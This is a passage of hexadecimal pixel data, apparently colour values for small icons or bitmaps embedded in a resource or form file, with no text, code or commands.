03FFD5D002FFD5D002FFD5D002FFD5D002FFD5D002FFD5D002FFD5D002FFD5D0\n      02FFD6D103FFD6D102FFDDD600FF8B8D47FFBBBBB9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFDCDFFCFF6D74EFFF4450E9FF4852E9FF7881F0FFF4F5FDFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9CFF5C66B2FF0018E3FF6E7DECFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF7C8DEEFF001AE6FF5E659AFF4945A8FF4D5A94FF589214FF5C9E\n      00FF5C9807FF5C970AFF5C970AFF5C970AFF5C970AFF5C970AFF5C970AFF5C97\n      0AFF5B9709FF5A9608FF5A9806FF677C46FF9C9622FFD0C306FFCCC008FFCDC0\n      09FFCDC10AFFCDC10AFFCDC109FFD0C104FFD3C002FFCFC107FFCDC10AFFCDC1\n      0AFFCDC009FFCCC008FFD2C406FF8E8B46FFB8B8B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFF9093F3FF0F15E5FF2A30E9FF3035E9FF2F34E9FF292EE8FF0C13E5FFBFC2\n      F8FFFFFFFFFFFFFFFFFFFFFFFFFF9A9C9AFFC9C7BCFFCCD1FCFF1028DFFF162E\n      E0FFD0D4F7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDDE0\n      F8FF2037E1FF0721DEFFC0C6FBFFA8A8A1FF423A9CFF3B2CD7FF3A27E1FF434D\n      95FF508818FF539400FF518D09FF518B0BFF518B0BFF508B0BFF508B0BFF508B\n      0BFF508B0AFF4F8A08FF4F8D06FF617648FF9B9023FFCEBD08FFCBB90BFFCABB\n      0CFFCCBA0DFFCFBA08FFCDB909FFA8C041FF86C474FFBDBD22FFCFB907FFCCBA\n      0DFFCABB0CFFCBB90AFFD1BD08FF8D8848FFB7B7B7FFFFFFFFFFFFFFFFFFD1D3\n      F9FF0000E6FF1719E9FF1719E9FF1719E9FF1719E9FF1719E9FF1618E9FF0000\n      E5FFFEFEFDFFFFFFFFFFFFFFFFFF9A9A9AFFB9B9B9FFFFFFFFFFFFFFFFFF5E6D\n      E8FF000CD9FF6876EAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7888EBFF000D\n      DBFF4E5FE6FFFFFFFEFFFFFFFFFF9E9E9EFF3B309CFF311FD2FF3320D0FF331F\n      D6FF3219E3FF3B3F94FF4B811DFF529009FF478309FF448008FF448008FF4480\n      08FF437D07FF427C05FF428002FF5C7047FF988D23FFCDB609FFC9B40CFFCBB5\n      0EFFD0B405FFAEBA3BFFABB93BFF7BC183FFA1BC4DFF7DC07DFFB9B727FFCEB4\n      09FFCBB50EFFC9B40CFFD0B809FF8C8549FFB7B7B7FFFFFFFFFFFFFFFFFF3535\n      ECFF0101E8FF0E0EEBFF0E0EEBFF0E0EEBFF0E0EEBFF0E0EEBFF0E0EEBFF0000\n      E8FF6969F1FFFFFFFFFFFFFFFFFF9A9A9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFC5CBF6FF0B22DCFF1229DDFFD4D7F7FFE2E5FAFF1C32DFFF021BDBFFB7BE\n      F4FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3A2C9EFF2B14D3FF2510CEFF301B\n      D1FF301CD1FF301AD7FF2B11DEFF816DF5FFFFFCFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A2A5FF998C25FFCCB50AFFC9B20DFFCEB3\n      08FFAAB83DFF80BE7CFFC4B518FFB8B729FFC6B414FFACB83DFF6CC196FFC7B4\n      12FFCCB30CFFCAB20CFFCEB609FF8B8349FFB7B7B7FFFFFFFFFFFFFFFFFF0000\n      E6FF0D0DEBFF1010EBFF1010EBFF1010EBFF1010EBFF1010EBFF1010EBFF0505\n      E9FF2C2CECFFFFFFFFFFFFFFFFFF9A9A9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF6A78EAFF051EDCFF061FDCFF5A69E7FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF382B9DFF4C39DAFFB4ADEEFF2815\n      CEFF311ED1FF321FD1FF311ED1FF2A16CFFF1A07CBFF6558DCFFDFDCF7FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF988C24FFCEB80CFFCAB30DFFD2B2\n      03FF61C3A9FFB5B72FFF93BC61FF4EC6C5FF5BC5B1FFADB839FF70C191FF9ABA\n      56FFCFB307FFCAB30CFFCFB609FF8B8349FFB7B7B7FFFFFFFFFFFFFFFFFF0202\n      E8FF0A0AEAFF0F0FEAFF0F0FEBFF1010EBFF1010EBFF1010EBFF1010EBFF0404\n      E9FF3333ECFFFFFFFFFFFFFFFFFF9A9A9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFDFE0F9FF283DE1FF2439E1FF2D41E3FF1F35E0FFD1D5F7FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3A2E9EFF4431DAFF9D92E9FF2D19\n      CFFF311ED0FF301DD0FF301DD0FF2914CFFF1F0BCCFF8173E2FFF0F0FBFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF998C25FFCFBA0EFFCDB811FFD0B6\n      0CFFAAB93FFFB0B734FF4FC5C4FF1ECEFFFF1CCEFFFF61C4A8FFC1B41DFFB5B7\n      2FFFCCB30BFFCAB30CFFCEB609FF8B8349FFB7B7B7FFFFFFFFFFFFFFFFFF4F4F\n      F0FF0707EBFF1414ECFF1111EAFF0E0EEAFF0F0FEAFF0F0FEAFF0F0FEBFF0000\n      E7FF7D7DF3FFFFFFFFFFFFFFFFFF9A9A9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF818EECFF0016DCFF5969E9FF92A8D9FF7D9AD2FF6C77ECFF000BD7FF6774\n      E8FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3D2F9EFF3720D7FF331DD3FF3C28\n      D5FF3C28D6FF3A26DAFF3722E1FF998DF4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF998D25FFD1BB0FFFCDBA12FFCFBA\n      14FFD4B90DFFBFBB29FF5AC6B8FF1DCDFFFF17CEFFFF73C18DFFCCB30AFFCCB2\n      0AFFCAB30DFFC9B10BFFCFB709FF8B8349FFB7B7B7FFFFFFFFFFFFFFFFFFF4F4\n      FDFF0000E7FF1515EBFF1717ECFF1818ECFF1616ECFF1515ECFF0F0FEAFF0000\n      E7FFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFFBBB9B9FFFFFFFFFFDEE1F9FF263F\n      E2FF112CDFFFBBC1F5FFFFFFFFFF1651B6FF084AB3FFFFFFFFFFC9CDF6FF152E\n      E0FF1B34E1FFD1D6F8FFFFFFFFFF9E9E9EFF3F309EFF3C26D8FF3E28D6FF402B\n      DFFF422CE5FF2F2287FF161613FF0C0D03FF020301FF000000FF000000FF0000\n      00FF000000FF000000FF000000FF474747FF998E26FFD2BD10FFCEBA13FFD0BC\n      16FFD0BC17FFD5BA11FFA8C158FF67CBB6FF7BC797FFAFBE47FFD3B90FFFCFBA\n      15FFCFBA14FFCFBA12FFD5C00FFF8C8449FFB7B7B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFC2C2F9FF0000E8FF0404EBFF0D0DECFF0C0CECFF0000EBFF0000EAFFEAEA\n      FCFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFFC6C5BBFF8492F2FF001DDEFF586B\n      E8FFFFFFFFFFFFFFFFFFFFFFFFFF0B4DB9FF0957BAFFFAF2F9FFFFFFFFFFFFFF\n      FFFF6678EBFF001BDEFF7688F4FFA3A29EFF3F309EFF4228E3FF432CE6FF2F22\n      87FF161615FF14150AFF161715FF171717FF171717FF171717FF171717FF1616\n      16FF151515FF131313FF0F0F0FFF494949FF9A8D25FFD3BF10FFD1BD13FFD1BC\n      15FFD1BE16FFD1BE16FFD4BD11FFCDBD1FFFD1BC17FFD4BD11FFD1BE17FFD1BE\n      16FFD1BD15FFD1BD13FFD6C20FFF8C8449FFB6B6B6FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF7676F5FF3838EFFF3D3DF1FF8989F6FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF989898FF2F3FA8FF0F2FE5FFBCC3F7FFFFFF\n      FFFFFFFFFFFFFFFFFFFFF9FCFBFF36A3DFFF35A2DEFFE6F7F7FFFFFFFFFFFFFF\n      FFFFFFFFFFFFCBD0F9FF1637E9FF475092FF3F30AAFF2A1985FF0E0D0CFF0D0E\n      03FF10110FFF111111FF111111FF111111FF111111FF111111FF111111FF1111\n      11FF101010FF0E0E0EFF0A0A0AFF474747FF9B8E23FFD5C00BFFD1BC0EFFD2BE\n      10FFD2BE11FFD2BE11FFD2BE11FFD3BE0FFFD2BE0FFFD2BE11FFD2BE11FFD2BE\n      11FFD2BE10FFD1BC0EFFD8C30AFF8A8347FFC3C3C3FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF5C66B0FFFFFFFFFFFFFFFCFFFDFD\n      FDFFFDFDFDFFFDFDFDFFFAFAFBFFF7FBF8FFE8F7F7FFFDFBFBFFFDFDFDFFFDFD\n      FDFFFDFDFDFFFFFFFCFFFFFFFFFF767BA4FF302F2FFF303227FF31312FFF3333\n      33FF333333FF333333FF333333FF333333FF333333FF333333FF333333FF3333\n      33FF333333FF313131FF323232FF555555FFA0942FFFDBCA33FFD8C631FFD8C6\n      33FFD8C633FFD8C633FFD8C633FFD8C633FFD8C633FFD8C633FFD8C633FFD8C6\n      33FFD8C633FFD8C731FFDCCA32FF999255FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFBFBF\n      BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFBFBFBFFFC0C0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C5C6FFC6C6\n      C6FFC6C6C6FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC6C5C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFD8D8D8FFBEBEBEFFBEBEBEFFBEBE\n      BEFFBEBEBEFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBEBE\n      BEFFBEBEBEFFBEBEBEFFBDBDBDFFFFFFFFFFFFFFFFFFC4C4C4FFC6C5C6FFC6C5\n      C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6\n      C6FFC6C5C6FFC6C5C6FFC3C3C3FFFFFFFFFFB8BEC3FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9FA2FF4EA23CFF59EB3AFF54E336FF55E2\n      37FF39D918FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9FFFFFF09AF\n      FFFF23BAFFFF25BBFFFF27C7FFFF52829DFF50ACB6FF53E9FFFF53E6FFFF53E5\n      FFFF4CE4FFFFD3FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD7FEBCFF93EC\n      4DFF97ED53FF97EE53FF99F354FF789A63FF57BEA5FF62FF6CFF57FD33FF5AFF\n      4AFF5AFF51FF5AFF51FF5AFF51FF5AFF51FF5AFF51FF5AFF51FF5AFF51FF5AFF\n      51FF5AFF4AFF58FD33FF64FF73FF669D8FFF944520FFC34103FFBF4004FFC142\n      06FFC14106FFC14106FFC14106FFC14106FFC14106FFC14106FFC14106FFC141\n      06FFC14205FFC04004FFC64102FF895C48FF4B8634FF4BAF27FF4AAB26FF4BAB\n      29FF2D9E08FFFFFFFFFFFFFFFCFFFFFEFBFFFFFEFBFFFFFFFBFFE7F0FAFF005F\n      FEFF1E72FFFF1B71FFFF1B75FFFF516F9CFF419ABCFF38BFFAFF3ABFF8FF3BBF\n      F8FF33BBF7FFC8ECFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCEAADFF81CD\n      34FF85CF3BFF85CE3AFF86D138FF74955AFF57B2BBFF64F6FFFF5DEADEFF52D7\n      55FF4DD123FF4FD43AFF51D642FF51D642FF51D642FF51D642FF4FD43AFF4DD1\n      22FF52D956FF5DEADFFF65FBFFFF68989CFF923F20FFC03800FFBE3900FFBD3B\n      00FFBD3A00FFBD3A00FFBD3C00FFBF3F02FFBE3C00FFBD3C00FFBD3A00FFBD3A\n      00FFBE3B00FFBC3900FFC23900FF865847FF45722EFF459119FF438E1AFF448E\n      1DFF287A00FFFFFFFFFFFFFFFCFFFFFEFAFFFFFEFAFFFFFFFAFFE6E9F9FF002A\n      FDFF1743FEFF1440FEFF1441FFFF4E5D9AFF3386B9FF23A5FAFF24A3F8FF26A4\n      F8FF1CA0F7FFC1E5FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC5E1A6FF71B6\n      1EFF77B925FF75B924FF75BB21FF6F8B52FF56B1BCFF5AEFFFFF5AE8FFFF5DED\n      FFFF58E3DDFF4CCD4BFF49C216FF4BC72EFF4BC72EFF49C215FF4CCD4DFF58E3\n      DFFF5DEDFFFF5AE8FFFF5CF4FFFF65979DFFBEC5C9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E6DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A4A5FF426327FF3E740DFF3E7410FF4175\n      10FF215E00FFFFFFFFFFFFFFFCFFFFFEFAFFFFFEFAFFFFFFFAFFE6E6F8FF0000\n      FDFF101AFEFF0E1AFEFF0B17FFFF4C509AFF2873B6FF108EF9FF138EF6FF158F\n      F6FF0A8AF7FFBCDEFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC2DA9DFF67A6\n      0CFF6BA914FF6AA813FF6AAA10FF6A814AFF448088FF61FFFFFF5AF0FFFF55E4\n      F9FF57E4FFFF59E9FFFF54DDDAFF47BF3AFF47BF3DFF54DDDBFF59E9FFFF57E4\n      FFFF55E4F9FF59F1FFFF61FFFFFF5C8084FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFF4E3DAFFEDCCBAFFC75723FFDB9570FFEBC5B3FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF415E24FF3B6C09FF3C6A0CFF3D6B\n      0DFF1F5500FFFFFFFFFFFFFFFCFFFFFEFAFFFFFEFAFFFFFFFAFFE5E5F8FF0000\n      FDFF0D0BFEFF0B09FEFF0806FFFF4B4B9AFF256DB4FF0985F9FF0C83F6FF0D85\n      F8FF0381F7FFBADBFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0D79BFF629F\n      05FF66A20DFF65A10BFF65A308FF687D48FF212121FF080606FF3EA6B5FF61FF\n      FFFF56E8FFFF56E1F9FF56E3FFFF57E6FFFF57E6FFFF56E3FFFF56E1F9FF57E8\n      FFFF60FFFFFF3FA5B6FF070606FF4A4A4AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFBF6F3FFC75722FFFFFFFFFFE0A389FFDD9D7CFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF425F26FF41720CFF3E6C0DFF3C6C\n      0FFF1F5600FFFFFFFFFFFFFFFCFFFFFEFAFFFFFEFAFFFFFFFAFFE5E5F8FF0000\n      FDFF0E0EFEFF0C0CFEFF0909FFFF4C4C9AFF256FB4FF0C89F9FF0D86F6FF0E85\n      F8FF0581F7FFBADBFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0D79BFF629F\n      06FF67A30EFF66A20CFF65A409FF687D48FF262626FF0A0706FF010000FF0100\n      00FF4ABED2FF58E8FFFF56E2F9FF56E2F9FF56E2F9FF56E2F9FF58E8FFFF49BE\n      D0FF020000FF000000FF070303FF4C4C4CFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFBF6F3FFC65622FFFDFEFDFFE0A285FFDD9B7AFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF425F25FF46740FFF467411FF4470\n      11FF1E5500FFFFFFFFFFFFFFFCFFFFFEFAFFFFFEFAFFFFFFFAFFE5E5F8FF0000\n      FDFF0E0EFEFF0C0CFEFF0909FFFF4C4C9AFF2570B6FF0E8BFAFF118CF8FF118B\n      F8FF0480F7FFBADBFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0D79BFF629F\n      06FF67A30EFF66A20CFF65A309FF687D48FF222121FF020000FF192A2CFF4FC2\n      D4FF5AF0FFFF54E1F9FF55E2F9FF56E4FFFF57E4FFFF56E2F9FF56E2F9FF5AF1\n      FFFF48C0D2FF152525FF000000FF4A4A4AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFF4E3DCFFEECDBDFFC75824FFDB9673FFEBC8B5FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF445F25FF497810FF487612FF4B77\n      14FF2D6300FFFFFFFFFFFFFFFBFFFFFEFAFFFFFEFAFFFFFFFAFFE5E5F8FF0000\n      FDFF0D0DFEFF0B0BFEFF0A0AFFFF4B4B9AFF2571B6FF0F8EFAFF128DF8FF148F\n      F8FF0A8AF7FFBCDDFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFD79BFF619F\n      05FF66A20DFF65A10BFF66A409FF687D48FF2A3435FF53C9DAFF6CFFFFFF63EC\n      FFFF61E4F9FF5EE5FFFF5AE8FFFF4ED2ADFF4DD1ABFF56E7FFFF55E4FFFF53E1\n      F9FF55EAFFFF5CFFFFFF46C3D7FF4E5556FFBEC4C9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFF7EAE2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA4A5FF456026FF4C7B11FF4B7913FF4D7A\n      16FF316400FFFFFFFFFFFFFFFDFFFFFEF9FFFFFEF9FFFFFFF9FFE7E5F9FF0000\n      FDFF1515FEFF1313FEFF1111FFFF4C4C9AFF2672B6FF1090FAFF1391F8FF1692\n      F7FF0D8CF8FFBDDFFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4DA9EFF6BA5\n      0CFF71AA14FF72AA12FF74AE0FFF697E49FF58B6C5FF65F3FFFF62E5FAFF62E7\n      FFFF66ECFFFF60DAC2FF53C035FF53BB1FFF50BA1DFF4FBE32FF5CD9C2FF62EB\n      FFFF60E6FFFF62E5F9FF6AF9FFFF6599A1FF944520FFC94C00FFC64A02FFC64B\n      04FFC74D05FFC74C07FFC74C07FFC8500BFFC74D07FFC74C07FFC74C07FFC74D\n      05FFC64B04FFC64A02FFCB4B00FF885B47FF456125FF508111FF4E7B13FF4F7C\n      15FF336800FFFFFFFFFFFFFFFDFFFFFEFBFFFFFEFBFFFFFFFBFFE8E7F9FF0000\n      FDFF1515FEFF1313FEFF1010FFFF4B4B9AFF2572B6FF1092FAFF1393F7FF1594\n      F7FF0B8FF7FFBEDFFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC6DC9FFF72AB\n      0DFF77AE15FF76AD13FF76AF0FFF697E48FF52A6B4FF67EEFFFF67ECFFFF62DB\n      C3FF55C036FF52BD21FF54C135FF55C23AFF55C23AFF55C135FF53BD21FF56C0\n      36FF61DCC3FF66ECFFFF6AF3FFFF639199FF974C20FFCF5A0EFFCA5811FFCC59\n      13FFCC5A13FFCC5A13FFCC5A13FFCC5A13FFCC5A13FFCC5A13FFCC5A13FFCC59\n      13FFCC5912FFCA5810FFD25B0DFF895C47FF436021FF4E810AFF4D7B0CFF4E7C\n      0EFF336800FFFFFFFFFFFFFFFEFFFFFFFCFFFFFFFCFFFFFFFCFFE7E7FAFF0000\n      FEFF0E0EFFFF0C0CFFFF0909FFFF494998FF2372B6FF0C94FCFF0F93F9FF1194\n      F9FF078FF9FFBCE0FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7DC9DFF72AB\n      09FF77AF11FF76AD0FFF78B20BFF697D47FF55ABCCFF62E3C7FF52C133FF52BD\n      1DFF54C132FF54C237FF54C237FF54C237FF54C237FF54C237FF54C237FF54C1\n      32FF52BD1DFF52C131FF63E8CBFF6392A6FFC3C9CDFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEB0B2FF496629FF6D9739FF669234FF6792\n      36FF4C7D14FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4F3FFFF1B1B\n      FFFF3535FFFF3535FFFF3636FFFF5252ACFF3277B9FF30A0FAFF2F9EF8FF319F\n      F8FF289AF9FFC4E3FCFFFFFFFEFFFEFEFEFFFEFEFEFFFFFFFFFFCCDFAAFF83B3\n      29FF86B531FF86B52FFF87B72FFF768B56FF4D983FFF6ED040FF6BCF4FFF6CD0\n      53FF6CD055FF6CD055FF6CD055FF6CD055FF6CD055FF6CD055FF6CD055FF6CD0\n      55FF6CD053FF6BCF4EFF6ED33FFF66925CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C1C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2\n      C2FFC2C2C2FFC2C1C1FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      